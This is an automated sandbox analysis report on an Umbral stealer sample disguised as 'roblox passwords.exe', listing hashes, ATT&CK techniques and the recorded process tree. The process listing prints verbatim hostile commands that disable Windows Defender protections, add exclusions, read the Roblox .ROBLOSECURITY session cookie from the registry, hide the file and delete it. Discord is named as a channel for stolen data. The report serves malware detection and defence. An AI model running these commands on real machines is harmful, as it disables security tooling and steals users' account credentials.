umbral | 750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
06-08-2024 02:05

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General

Target

roblox passwords.exe
Size

231KB
MD5

e5fe1871688f8786189ec49cc8124520
SHA1

e2de4a187d3cc99969e888819f6cf2bf5c78e90d
SHA256

750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029
SHA512

095f4398d1af600565bf8e29fc8bf0acbbff1a3729a3b4f531f597342afeed375f248ab5c4b3e589e41fb5305702fbc07b42df9b3320502c9abe3ba4d8a7f30c
SSDEEP

6144:xloZM+rIkd8g+EtXHkv/iD43upiLxCqVsQhTuOLPtb8e1m3Ai:DoZtL+EP83upiLxCqVsQhTuOL1mZ

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1712-1-0x0000000000C20000-0x0000000000C60000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2944	powershell.exe
2796	powershell.exe
2688	powershell.exe
1204	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	roblox passwords.exe

Deletes itself 1 IoCs

pid	Process
1108	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1108	cmd.exe
1524	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
484	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1524	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1712	roblox passwords.exe
2944	powershell.exe
2796	powershell.exe
2688	powershell.exe
2988	powershell.exe
1204	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1712	roblox passwords.exe
Token: SeIncreaseQuotaPrivilege	2460	wmic.exe
Token: SeSecurityPrivilege	2460	wmic.exe
Token: SeTakeOwnershipPrivilege	2460	wmic.exe
Token: SeLoadDriverPrivilege	2460	wmic.exe
Token: SeSystemProfilePrivilege	2460	wmic.exe
Token: SeSystemtimePrivilege	2460	wmic.exe
Token: SeProfSingleProcessPrivilege	2460	wmic.exe
Token: SeIncBasePriorityPrivilege	2460	wmic.exe
Token: SeCreatePagefilePrivilege	2460	wmic.exe
Token: SeBackupPrivilege	2460	wmic.exe
Token: SeRestorePrivilege	2460	wmic.exe
Token: SeShutdownPrivilege	2460	wmic.exe
Token: SeDebugPrivilege	2460	wmic.exe
Token: SeSystemEnvironmentPrivilege	2460	wmic.exe
Token: SeRemoteShutdownPrivilege	2460	wmic.exe
Token: SeUndockPrivilege	2460	wmic.exe
Token: SeManageVolumePrivilege	2460	wmic.exe
Token: 33	2460	wmic.exe
Token: 34	2460	wmic.exe
Token: 35	2460	wmic.exe
Token: SeIncreaseQuotaPrivilege	2460	wmic.exe
Token: SeSecurityPrivilege	2460	wmic.exe
Token: SeTakeOwnershipPrivilege	2460	wmic.exe
Token: SeLoadDriverPrivilege	2460	wmic.exe
Token: SeSystemProfilePrivilege	2460	wmic.exe
Token: SeSystemtimePrivilege	2460	wmic.exe
Token: SeProfSingleProcessPrivilege	2460	wmic.exe
Token: SeIncBasePriorityPrivilege	2460	wmic.exe
Token: SeCreatePagefilePrivilege	2460	wmic.exe
Token: SeBackupPrivilege	2460	wmic.exe
Token: SeRestorePrivilege	2460	wmic.exe
Token: SeShutdownPrivilege	2460	wmic.exe
Token: SeDebugPrivilege	2460	wmic.exe
Token: SeSystemEnvironmentPrivilege	2460	wmic.exe
Token: SeRemoteShutdownPrivilege	2460	wmic.exe
Token: SeUndockPrivilege	2460	wmic.exe
Token: SeManageVolumePrivilege	2460	wmic.exe
Token: 33	2460	wmic.exe
Token: 34	2460	wmic.exe
Token: 35	2460	wmic.exe
Token: SeDebugPrivilege	2944	powershell.exe
Token: SeDebugPrivilege	2796	powershell.exe
Token: SeDebugPrivilege	2688	powershell.exe
Token: SeDebugPrivilege	2988	powershell.exe
Token: SeIncreaseQuotaPrivilege	2852	wmic.exe
Token: SeSecurityPrivilege	2852	wmic.exe
Token: SeTakeOwnershipPrivilege	2852	wmic.exe
Token: SeLoadDriverPrivilege	2852	wmic.exe
Token: SeSystemProfilePrivilege	2852	wmic.exe
Token: SeSystemtimePrivilege	2852	wmic.exe
Token: SeProfSingleProcessPrivilege	2852	wmic.exe
Token: SeIncBasePriorityPrivilege	2852	wmic.exe
Token: SeCreatePagefilePrivilege	2852	wmic.exe
Token: SeBackupPrivilege	2852	wmic.exe
Token: SeRestorePrivilege	2852	wmic.exe
Token: SeShutdownPrivilege	2852	wmic.exe
Token: SeDebugPrivilege	2852	wmic.exe
Token: SeSystemEnvironmentPrivilege	2852	wmic.exe
Token: SeRemoteShutdownPrivilege	2852	wmic.exe
Token: SeUndockPrivilege	2852	wmic.exe
Token: SeManageVolumePrivilege	2852	wmic.exe
Token: 33	2852	wmic.exe
Token: 34	2852	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 1712 wrote to memory of 2460	1712	roblox passwords.exe	30
PID 1712 wrote to memory of 2460	1712	roblox passwords.exe	30
PID 1712 wrote to memory of 2460	1712	roblox passwords.exe	30
PID 1712 wrote to memory of 2904	1712	roblox passwords.exe	33
PID 1712 wrote to memory of 2904	1712	roblox passwords.exe	33
PID 1712 wrote to memory of 2904	1712	roblox passwords.exe	33
PID 1712 wrote to memory of 2944	1712	roblox passwords.exe	35
PID 1712 wrote to memory of 2944	1712	roblox passwords.exe	35
PID 1712 wrote to memory of 2944	1712	roblox passwords.exe	35
PID 1712 wrote to memory of 2796	1712	roblox passwords.exe	37
PID 1712 wrote to memory of 2796	1712	roblox passwords.exe	37
PID 1712 wrote to memory of 2796	1712	roblox passwords.exe	37
PID 1712 wrote to memory of 2688	1712	roblox passwords.exe	39
PID 1712 wrote to memory of 2688	1712	roblox passwords.exe	39
PID 1712 wrote to memory of 2688	1712	roblox passwords.exe	39
PID 1712 wrote to memory of 2988	1712	roblox passwords.exe	41
PID 1712 wrote to memory of 2988	1712	roblox passwords.exe	41
PID 1712 wrote to memory of 2988	1712	roblox passwords.exe	41
PID 1712 wrote to memory of 2852	1712	roblox passwords.exe	43
PID 1712 wrote to memory of 2852	1712	roblox passwords.exe	43
PID 1712 wrote to memory of 2852	1712	roblox passwords.exe	43
PID 1712 wrote to memory of 2996	1712	roblox passwords.exe	45
PID 1712 wrote to memory of 2996	1712	roblox passwords.exe	45
PID 1712 wrote to memory of 2996	1712	roblox passwords.exe	45
PID 1712 wrote to memory of 3012	1712	roblox passwords.exe	47
PID 1712 wrote to memory of 3012	1712	roblox passwords.exe	47
PID 1712 wrote to memory of 3012	1712	roblox passwords.exe	47
PID 1712 wrote to memory of 1204	1712	roblox passwords.exe	49
PID 1712 wrote to memory of 1204	1712	roblox passwords.exe	49
PID 1712 wrote to memory of 1204	1712	roblox passwords.exe	49
PID 1712 wrote to memory of 484	1712	roblox passwords.exe	51
PID 1712 wrote to memory of 484	1712	roblox passwords.exe	51
PID 1712 wrote to memory of 484	1712	roblox passwords.exe	51
PID 1712 wrote to memory of 1108	1712	roblox passwords.exe	53
PID 1712 wrote to memory of 1108	1712	roblox passwords.exe	53
PID 1712 wrote to memory of 1108	1712	roblox passwords.exe	53
PID 1108 wrote to memory of 1524	1108	cmd.exe	55
PID 1108 wrote to memory of 1524	1108	cmd.exe	55
PID 1108 wrote to memory of 1524	1108	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2904	attrib.exe

C:\Users\Admin\AppData\Local\Temp\roblox passwords.exe
"C:\Users\Admin\AppData\Local\Temp\roblox passwords.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1712
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2460
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\roblox passwords.exe"
  2⤵
  - Views/modifies file attributes
  PID:2904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\roblox passwords.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2688
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2988
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2852
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2996
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:3012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1204
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:484
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\roblox passwords.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1108
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1524

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
cf9daf82a71f8bc24940842739507962

SHA1
460a2a1b6e2d05bd80bf99a48f9627c3c5a23614

SHA256
a00e8312972a4e24f5675c619561f98d4f9b1cf8c7be1745fac8222a672083a3

SHA512
e5628811e7b0a9ef2c4315246754b8927b2d8b38cda99440bd23115c23edc761d76821ad95f2e2db3eb0cefaff82a9eb006d81cf13f52c4d79c8fbcbceb0b7d3

Download Submit
memory/1204-44-0x0000000001CF0000-0x0000000001CF8000-memory.dmp

Filesize
32KB

Download
memory/1712-0-0x000007FEF5383000-0x000007FEF5384000-memory.dmp

Filesize
4KB

Download
memory/1712-1-0x0000000000C20000-0x0000000000C60000-memory.dmp

Filesize
256KB

Download
memory/1712-2-0x000007FEF5380000-0x000007FEF5D6C000-memory.dmp

Filesize
9.9MB

Download
memory/1712-48-0x000007FEF5380000-0x000007FEF5D6C000-memory.dmp

Filesize
9.9MB

Download
memory/2796-14-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2796-15-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/2944-7-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

Filesize
2.9MB

Download
memory/2944-8-0x0000000001ED0000-0x0000000001ED8000-memory.dmp

Filesize
32KB

Download